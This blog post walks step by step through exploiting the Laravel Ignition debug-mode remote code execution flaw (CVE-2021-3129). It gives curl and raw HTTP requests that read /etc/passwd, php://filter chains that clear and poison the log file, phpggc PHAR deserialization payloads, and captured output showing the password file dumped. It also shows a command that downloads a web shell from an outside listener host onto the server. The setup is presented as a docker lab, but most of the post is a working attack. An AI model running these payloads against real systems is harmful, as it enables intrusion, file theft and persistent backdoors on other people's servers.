Exploiting Laravel v8.30.0 (PHP v7.3.25) debug RCE

ismail kaleem
4 min readSep 1, 2021

A fairly easy exploit and works for Ignition <= 2.5.1

Ignition is a beautiful and customizable error page for Laravel applications running on Laravel 5.5 and newer. It is the default error page for all Laravel 6

git clone https://github.com/rocketscientist911/CVE-2021-3129cd CVE-2021-3129docker-compose up -dvulnerable host starts at port 8888; you can change from docker-compose

Testing for the exploit

curl -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd%00"}}' -H 'Content-Type: application/json' http://192.168.xx.xx:8888/_ignition/execute-solution | grep failedcurl -d '{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "/etc/passwd"}}' -H 'Content-Type: application/json' http://192.168.xx.xx:8888/_ignition/execute-solution | grep failedYou can try with the NULL byte or without the NULL byte to VERIFY...Error message "ErrorException: file_get_contents(/etc/passwd%00): failed to open stream:" indicates HOST is VULNERABLE!

Clear the log file!

POST /_ignition/execute-solution HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Content-Type: application/json
Content-Length: 202
{"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "test", "viewFile": "php://filter/read=consumed/resource=/src/storage/logs/laravel.log"}}

download phpggc to the same folder as exploit.py

Download to the same folder!
git clone https://github.com/ambionics/phpggc.git

Modify exploit.py and replace the actual path with the laravel.log

#modify all the resource=resource=/src/storage/logs/laravel.log# for other hosts, try to locate the path of the laravel.log, by default in laravel its inside the storage/logs/laravel.log# launch the exploit after modifying the host!root@pwn:~/laravel# python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[*] Result:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin

To download a backdoor into the server!

# modify exploit.pydef main():
Exp("http://192.168.xx.xx:8888", "wget http://yourlistenhost/shell.txt -o /src/public/shell.php")

— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -

Manual Exploitation

  1. generate PHAR payload
#option 1: Generate phpggc phar payloadphp -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"=50=00=44=00=39=00=77=00=61=00=48=00=41=7=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33.......00=4C=00=41=00=64=00=50=00=30=00=4F=00=6C=00=55=00=79=00=30=00=71=00=38=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00=3D=00 (base64 =)
# option 2: Generate phpggc tar payload (if you want tar)
php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system id -p tar -f -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"You can use either of the any options!

2. Clear the log file

viewFile: php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

3. Add a prefix to log

viewFile: AA

4. POST the phar payload with “a” appended to the suffix

viewFile: =50=00=44=00=39=00=77=00=61=00=48=00=41=7=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33.......00=4C=00=41=00=64=00=50=00=30=00=4F=00=6C=00=55=00=79=00=30=00=71=00=38=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a

5. Clear noise characters

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

View the laravel.log file to confirm (on testing laravel instance)

Trigger phar deserialization

viewFile: phar:///src/storage/logs/laravel.log/test.txt

— — — — — — — — — — — — — — — — — — — — — — — — — — — — —

DONT BE AN IDIOT!

If you pass ../server.php {it’s going to mess up the website displaying server.php code as output on the website}

--

--